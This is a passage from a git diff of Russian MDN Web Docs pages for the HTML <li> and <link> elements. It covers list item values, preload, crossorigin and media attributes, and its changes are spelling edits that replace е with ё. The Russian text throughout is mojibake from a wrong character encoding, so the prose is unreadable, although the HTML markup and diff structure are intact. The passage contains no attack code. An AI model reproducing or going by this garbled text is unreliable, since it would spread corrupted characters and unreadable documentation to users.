-<p><span class="seoSummary"><strong>HTML-элСмСнт <code>&lt;li&gt;</code></strong> ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для создания элСмСнтов списка.</span> Он Ρ‚Π°ΠΊΠΆΠ΅ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π½Π°Ρ…ΠΎΠ΄ΠΈΡ‚ΡŒΡΡ Π² Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΎΠΌ элСмСнтС: упорядочСнном спискС ({{HTMLElement("ol")}}), нСупорядочСнном спискС ({{HTMLElement("ul")}}), ΠΈΠ»ΠΈ мСню ({{HTMLElement("menu")}}). Π’ мСню ΠΈ нСупорядочСнных списках, элСмСнты списка ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°ΡŽΡ‚ΡΡ с ΠΌΠ°Ρ€ΠΊΠ΅Ρ€Π°ΠΌΠΈ Π² Π²ΠΈΠ΄Π΅ ΠΊΡ€ΡƒΠ³Π°. Π’ упорядочСнных списках, ΠΎΠ½ΠΈ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°ΡŽΡ‚ΡΡ с ΠΌΠ°Ρ€ΠΊΠ΅Ρ€Π°ΠΌΠΈ Π² Π²ΠΈΠ΄Π΅ Π²ΠΎΠ·Ρ€Π°ΡΡ‚Π°ΡŽΡ‰Π΅Π³ΠΎ счСтчика слСва, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ числа ΠΈΠ»ΠΈ Π±ΡƒΠΊΠ²Ρ‹.</p>
+<p><span class="seoSummary"><strong>HTML-элСмСнт <code>&lt;li&gt;</code></strong> ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для создания элСмСнтов списка.</span> Он Ρ‚Π°ΠΊΠΆΠ΅ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π½Π°Ρ…ΠΎΠ΄ΠΈΡ‚ΡŒΡΡ Π² Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΎΠΌ элСмСнтС: упорядочСнном спискС ({{HTMLElement("ol")}}), нСупорядочСнном спискС ({{HTMLElement("ul")}}), ΠΈΠ»ΠΈ мСню ({{HTMLElement("menu")}}). Π’ мСню ΠΈ нСупорядочСнных списках, элСмСнты списка ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°ΡŽΡ‚ΡΡ с ΠΌΠ°Ρ€ΠΊΠ΅Ρ€Π°ΠΌΠΈ Π² Π²ΠΈΠ΄Π΅ ΠΊΡ€ΡƒΠ³Π°. Π’ упорядочСнных списках, ΠΎΠ½ΠΈ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°ΡŽΡ‚ΡΡ с ΠΌΠ°Ρ€ΠΊΠ΅Ρ€Π°ΠΌΠΈ Π² Π²ΠΈΠ΄Π΅ Π²ΠΎΠ·Ρ€Π°ΡΡ‚Π°ΡŽΡ‰Π΅Π³ΠΎ счётчика слСва, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ числа ΠΈΠ»ΠΈ Π±ΡƒΠΊΠ²Ρ‹.</p>
<div>{{EmbedInteractiveExample("pages/tabbed/li.html", "tabbed-shorter")}}</div>
@@ -51,7 +51,7 @@ translation_of: Web/HTML/Element/li
<dl>
<dt>{{htmlattrdef("value")}}</dt>
- <dd>Π­Ρ‚ΠΎΡ‚ числовой Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Π½Π° Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠΉ порядковый Π½ΠΎΠΌΠ΅Ρ€ элСмСнта Π² спискС, Π·Π°Π΄Π°Π½Π½ΠΎΠ³ΠΎ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ элСмСнта {{HTMLElement("ol")}}. ЕдинствСнноС Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ этого Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° β€” число, Π΄Π°ΠΆΠ΅ Ссли список отобраТаСтся с римскими Ρ†ΠΈΡ„Ρ€Π°ΠΌΠΈ ΠΈΠ»ΠΈ Π±ΡƒΠΊΠ²Π°ΠΌΠΈ. Π­Π»Π΅ΠΌΠ΅Π½Ρ‚Ρ‹ списка, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠ΄ΡƒΡ‚ послС элСмСнта с Ρ‚Π°ΠΊΠΈΠΌ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠΌ, Π½ΡƒΠΌΠ΅Ρ€ΡƒΡŽΡ‚ΡΡ с Π·Π°Π΄Π°Π½Π½ΠΎΠ³ΠΎ значСния. Атрибут <strong>value</strong> Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ значСния для нСупорядочСнных списков ({{HTMLElement("ul")}}) ΠΈΠ»ΠΈ для мСню ({{HTMLElement("menu")}}).
+ <dd>Π­Ρ‚ΠΎΡ‚ числовой Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Π½Π° Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠΉ порядковый Π½ΠΎΠΌΠ΅Ρ€ элСмСнта Π² спискС, Π·Π°Π΄Π°Π½Π½ΠΎΠ³ΠΎ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ элСмСнта {{HTMLElement("ol")}}. ЕдинствСнноС Ρ€Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ этого Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° β€” число, Π΄Π°ΠΆΠ΅ Ссли список отобраТаСтся с римскими Ρ†ΠΈΡ„Ρ€Π°ΠΌΠΈ ΠΈΠ»ΠΈ Π±ΡƒΠΊΠ²Π°ΠΌΠΈ. Π­Π»Π΅ΠΌΠ΅Π½Ρ‚Ρ‹ списка, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠ΄ΡƒΡ‚ послС элСмСнта с Ρ‚Π°ΠΊΠΈΠΌ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠΌ, Π½ΡƒΠΌΠ΅Ρ€ΡƒΡŽΡ‚ΡΡ с Π·Π°Π΄Π°Π½Π½ΠΎΠ³ΠΎ значСния. Атрибут <strong>value</strong> Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ значСния для нСупорядочСнных списков ({{HTMLElement("ul")}}) ΠΈΠ»ΠΈ для мСню ({{HTMLElement("menu")}}).
<div class="note"><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: Π­Ρ‚ΠΎΡ‚ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ Π±Ρ‹Π» ΡƒΠ±Ρ€Π°Π½ Π²Β HTML4, Π½ΠΎ Π·Π°Π½ΠΎΠ²ΠΎ Π΄ΠΎΠ±Π°Π²Π»Π΅Π½ Π²Β HTML5.</div>
<div class="note">
@@ -142,7 +142,7 @@ translation_of: Web/HTML/Element/li
<h2 id="ΠŸΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ°_Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ">ΠŸΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ° Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ</h2>
-<div class="hidden">Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаСтся ΠΈΠ· структурированных Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄, ΠΎΠ·Π½Π°ΠΊΠΎΠΌΡŒΡ‚Π΅ΡΡŒ с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΡŒΡ‚Π΅ Π½Π°ΠΌ pull request.</div>
+<div class="hidden">Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаётся ΠΈΠ· структурированных Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄, ΠΎΠ·Π½Π°ΠΊΠΎΠΌΡŒΡ‚Π΅ΡΡŒ с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΡŒΡ‚Π΅ Π½Π°ΠΌ pull request.</div>
<p>{{Compat("html.elements.li")}}</p>
diff --git a/files/ru/web/html/element/link/index.html b/files/ru/web/html/element/link/index.html
index 2ae2f1f1df..82be65b592 100644
--- a/files/ru/web/html/element/link/index.html
+++ b/files/ru/web/html/element/link/index.html
@@ -23,7 +23,7 @@ original_slug: Web/HTML/Element/ссылка
<p>Π’ этом простом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ указываСтся ΠΏΡƒΡ‚ΡŒ ΠΊ Ρ‚Π°Π±Π»ΠΈΡ†Π΅ стилСй Π²Π½ΡƒΡ‚Ρ€ΠΈ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° <code>href</code> ΠΈ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ <code>rel</code> со Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ <code>stylesheet</code>. <code>rel</code> ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚ "ΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΡ (relationship)", ΠΈ, вСроятно, являСтся ΠΎΠ΄Π½ΠΎΠΉ ΠΈΠ· ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹Ρ… особСнностСй элСмСнта <code>&lt;link&gt;</code>Β  β€” Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ сообщаСт ΠΊΠ°ΠΊ ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹ΠΉ элСмСнт связан с  содСрТащим Π΅Π³ΠΎ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ΠΎΠΌ. Как Π²Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅ Π² нашСм справочникС <a href="/en-US/docs/Web/HTML/Link_types">Ρ‚ΠΈΠΏΡ‹ ссылок</a>, Π΅ΡΡ‚ΡŒ ΠΌΠ½ΠΎΠ³ΠΎ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… Π²ΠΈΠ΄ΠΎΠ² ΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΠΉ.</p>
-<p>БущСствуСт ряд Π΄Ρ€ΡƒΠ³ΠΈΡ… распространСнных Ρ‚ΠΈΠΏΠΎΠ², с ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌΠΈ Π²Ρ‹ ΡΡ‚ΠΎΠ»ΠΊΠ½Π΅Ρ‚Π΅ΡΡŒ. НапримСр, ссылка Π½Π° сайт ΠΈΠΊΠΎΠ½ΠΎΠΊ:</p>
+<p>БущСствуСт ряд Π΄Ρ€ΡƒΠ³ΠΈΡ… распространённых Ρ‚ΠΈΠΏΠΎΠ², с ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌΠΈ Π²Ρ‹ ΡΡ‚ΠΎΠ»ΠΊΠ½Ρ‘Ρ‚Π΅ΡΡŒ. НапримСр, ссылка Π½Π° сайт ΠΈΠΊΠΎΠ½ΠΎΠΊ:</p>
<pre class="brush: html no-line-numbers notranslate">&lt;link rel="icon" href="favicon.ico"&gt;</pre>
@@ -44,7 +44,7 @@ original_slug: Web/HTML/Element/ссылка
<pre class="brush: html no-line-numbers notranslate">&lt;link rel="preload" href="myFont.woff2" as="font"
type="font/woff2" crossorigin="anonymous"&gt;</pre>
-<p>Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>rel</code> - <code>preload</code> ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΏΡ€Π΅Π΄Π²Π°Ρ€ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚ΡŒ этот рСсурс (смотритС <a href="/en-US/docs/Web/HTML/Preloading_content">ΠŸΡ€Π΅Π΄Π²Π°Ρ€ΠΈΡ‚Π΅Π»ΡŒΠ½Π°Ρ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠ° ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ rel="preload"</a> для Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ), Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ <code>as</code> ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Π½Π° ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ класс Π·Π°Π³Ρ€ΡƒΠΆΠ°Π΅ΠΌΠΎΠ³ΠΎ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°. Атрибут <code>crossorigin</code> ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π»ΠΈ рСсурс Π·Π°Π³Ρ€ΡƒΠΆΠ°Ρ‚ΡŒΡΡ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ запроса  {{Glossary("CORS")}}.</p>
+<p>Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>rel</code> - <code>preload</code> ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΏΡ€Π΅Π΄Π²Π°Ρ€ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚ΡŒ этот рСсурс (смотритС <a href="/en-US/docs/Web/HTML/Preloading_content">ΠŸΡ€Π΅Π΄Π²Π°Ρ€ΠΈΡ‚Π΅Π»ΡŒΠ½Π°Ρ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠ° ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ rel="preload"</a> для Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ), Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ <code>as</code> ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Π½Π° ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΉ класс Π·Π°Π³Ρ€ΡƒΠΆΠ°Π΅ΠΌΠΎΠ³ΠΎ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°. Атрибут <code>crossorigin</code> ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π»ΠΈ рСсурс Π·Π°Π³Ρ€ΡƒΠΆΠ°Ρ‚ΡŒΡΡ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ запроса  {{Glossary("CORS")}}.</p>
<p>Π”Ρ€ΡƒΠ³ΠΈΠ΅ замСчания ΠΏΠΎ использованию:</p>
@@ -67,9 +67,9 @@ original_slug: Web/HTML/Element/ссылка
<dd>Π­Ρ‚ΠΎΡ‚ пСрСчисляСмый Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Π΄ΠΎΠ»ΠΆΠ΅Π½ Π»ΠΈ {{Glossary("CORS")}} ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ ΠΏΡ€ΠΈ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ рСсурса. <a href="/en-US/docs/Web/HTML/CORS_Enabled_Image">CORS-ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅ΠΌΡ‹Π΅ изобраТСния</a> ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Π½Ρ‹ Π² элСмСнтС {{HTMLElement("canvas")}} Π½Π΅ <em>искаТая </em>ΠΈΡ…. Допустимы значСния:
<dl>
<dt><code>anonymous</code></dt>
- <dd>Cross-origin запрос (Ρ‚.Π΅. с HTTP-Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠΌ {{HTTPHeader("Origin")}}) выполняСтся, Π½ΠΎ ΡƒΡ‡Π΅Ρ‚Π½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅ Π½Π΅ ΠΎΡ‚ΠΏΡ€Π°Π²Π»ΡΡŽΡ‚ΡΡ (Ρ‚.Π΅. Π½Π΅Ρ‚ cookie, сСртификата X.509, ΠΈΠ»ΠΈ Π±Π°Π·ΠΎΠ²ΠΎΠΉ Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ HTTP). Если сСрвСр Π½Π΅ ΠΏΠ΅Ρ€Π΅Π΄Π°Π» ΡƒΡ‡Π΅Ρ‚Π½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅ исходному сайту (Π½Π΅Ρ‚ настроСнного HTTP-Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° {{HTTPHeader("Access-Control-Allow-Origin")}}),Β  ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ искаТСно, Π° Π΅Π³ΠΎ использованиС ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½ΠΎ.</dd>
+ <dd>Cross-origin запрос (Ρ‚.Π΅. с HTTP-Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠΌ {{HTTPHeader("Origin")}}) выполняСтся, Π½ΠΎ ΡƒΡ‡Ρ‘Ρ‚Π½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅ Π½Π΅ ΠΎΡ‚ΠΏΡ€Π°Π²Π»ΡΡŽΡ‚ΡΡ (Ρ‚.Π΅. Π½Π΅Ρ‚ cookie, сСртификата X.509, ΠΈΠ»ΠΈ Π±Π°Π·ΠΎΠ²ΠΎΠΉ Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ HTTP). Если сСрвСр Π½Π΅ ΠΏΠ΅Ρ€Π΅Π΄Π°Π» ΡƒΡ‡Ρ‘Ρ‚Π½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅ исходному сайту (Π½Π΅Ρ‚ настроСнного HTTP-Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° {{HTTPHeader("Access-Control-Allow-Origin")}}),Β  ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ искаТСно, Π° Π΅Π³ΠΎ использованиС ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½ΠΎ.</dd>
<dt><code>use-credentials</code></dt>
- <dd>Cross-origin запрос (Ρ‚.Π΅. с HTTP-Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠΌ <code>Origin</code>) выполняСтся вмСстС с ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΎΠΉ ΡƒΡ‡Π΅Ρ‚Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ… (Ρ‚.Π΅. выполняСтся аутСнтификация cookie, сСртификата, ΠΈ/ΠΈΠ»ΠΈ Π±Π°Π·ΠΎΠ²ΠΎΠ³ΠΎ HTTP). Если сСрвСр Π½Π΅ ΠΏΠ΅Ρ€Π΅Π΄Π°Π» ΡƒΡ‡Π΅Ρ‚Π½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅ исходному сайту (Ρ‡Π΅Ρ€Π΅Π·Β HTTP-Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ {{HTTPHeader("Access-Control-Allow-Credentials")}}), рСсурс Π±ΡƒΠ΄Π΅Ρ‚ искаТСн, Π° Π΅Π³ΠΎ использованиС ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½ΠΎ.</dd>
+ <dd>Cross-origin запрос (Ρ‚.Π΅. с HTTP-Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠΌ <code>Origin</code>) выполняСтся вмСстС с ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΎΠΉ ΡƒΡ‡Π΅Ρ‚Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ… (Ρ‚.Π΅. выполняСтся аутСнтификация cookie, сСртификата, ΠΈ/ΠΈΠ»ΠΈ Π±Π°Π·ΠΎΠ²ΠΎΠ³ΠΎ HTTP). Если сСрвСр Π½Π΅ ΠΏΠ΅Ρ€Π΅Π΄Π°Π» ΡƒΡ‡Ρ‘Ρ‚Π½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅ исходному сайту (Ρ‡Π΅Ρ€Π΅Π·Β HTTP-Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ {{HTTPHeader("Access-Control-Allow-Credentials")}}), рСсурс Π±ΡƒΠ΄Π΅Ρ‚ искаТён, Π° Π΅Π³ΠΎ использованиС ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½ΠΎ.</dd>
</dl>
Если Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ отсутствуСт, рСсурс загруТаСтся Π±Π΅Π· запроса {{Glossary("CORS")}} (Ρ‚.Π΅. Π±Π΅Π· ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΈ HTTP-Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° <code>Origin)</code>, прСдотвращая Π΅Π³ΠΎ нСзагрязнСнноС использованиС. Π’ случаС нСвалидности, ΠΎΠ½ обрабатываСтся ΠΊΠ°ΠΊ ΠΏΡ€ΠΈ использовании ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ³ΠΎ слова <strong>anonymous.</strong> Для получСния Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ смотритС  <a href="/en-US/docs/Web/HTML/CORS_settings_attributes">CORS settings attributes</a>.</dd>
<dt>{{HTMLAttrDef("href")}}</dt>
@@ -97,8 +97,8 @@ original_slug: Web/HTML/Element/ссылка
<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΡ:</strong></p>
<ul>
- <li>Π’ HTML 4, это ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ простой, Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ ΠΏΡ€ΠΎΠ±Π΅Π»Π°ΠΌΠΈ, список Π»ΠΈΡ‚Π΅Ρ€Π°Π»ΠΎΠ², ΠΎΠΏΠΈΡΡ‹Π²Π°ΡŽΡ‰ΠΈΡ… ΠΌΠ΅Π΄ΠΈΠ°, Ρ‚.Π΅.Β  <a href="/en-US/docs/Web/CSS/@media">media Ρ‚ΠΈΠΏΡ‹ ΠΈ Π³Ρ€ΡƒΠΏΠΏΡ‹</a>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Ρ‹ ΠΈ допустимы Π² качСствС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ для этого Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ <code>print</code>, <code>screen</code>, <code>aural</code>, <code>braille</code>. HTML5 распространил это Π½Π° Π»ΡŽΠ±Ρ‹Π΅ <a href="/en-US/docs/Web/CSS/Media_queries">мСдиавыраТСния</a>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΡΠ²Π»ΡΡŽΡ‚ΡΡ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½Π½Ρ‹ΠΌ Π½Π°Π±ΠΎΡ€ΠΎΠΌ допустимых Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ HTML 4.</li>
- <li>Π‘Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹, Π½Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‰ΠΈΠ΅ <a href="/en-US/docs/Web/CSS/Media_queries">CSS3 Media Queries</a>, ΠΌΠΎΠ³ΡƒΡ‚ Π½Π΅ Ρ€Π°ΡΠΏΠΎΠ·Π½Π°Ρ‚ΡŒ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΡƒΡŽ ссылку; Π½Π΅ Π·Π°Π±ΡƒΠ΄ΡŒΡ‚Π΅ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Ρ€Π΅Π·Π΅Ρ€Π²Π½Ρ‹Π΅ ссылки, ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½Π½Ρ‹Π΅ Π½Π°Π±ΠΎΡ€ΠΎΠΌ ΠΌΠ΅Π΄ΠΈΠ°Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΌ Π² HTML 4.</li>
+ <li>Π’ HTML 4, это ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ простой, Ρ€Π°Π·Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΉ ΠΏΡ€ΠΎΠ±Π΅Π»Π°ΠΌΠΈ, список Π»ΠΈΡ‚Π΅Ρ€Π°Π»ΠΎΠ², ΠΎΠΏΠΈΡΡ‹Π²Π°ΡŽΡ‰ΠΈΡ… ΠΌΠ΅Π΄ΠΈΠ°, Ρ‚.Π΅.Β  <a href="/en-US/docs/Web/CSS/@media">media Ρ‚ΠΈΠΏΡ‹ ΠΈ Π³Ρ€ΡƒΠΏΠΏΡ‹</a>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Ρ‹ ΠΈ допустимы Π² качСствС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ для этого Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ <code>print</code>, <code>screen</code>, <code>aural</code>, <code>braille</code>. HTML5 распространил это Π½Π° Π»ΡŽΠ±Ρ‹Π΅ <a href="/en-US/docs/Web/CSS/Media_queries">мСдиавыраТСния</a>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΡΠ²Π»ΡΡŽΡ‚ΡΡ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½Π½Ρ‹ΠΌ Π½Π°Π±ΠΎΡ€ΠΎΠΌ допустимых Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ HTML 4.</li>
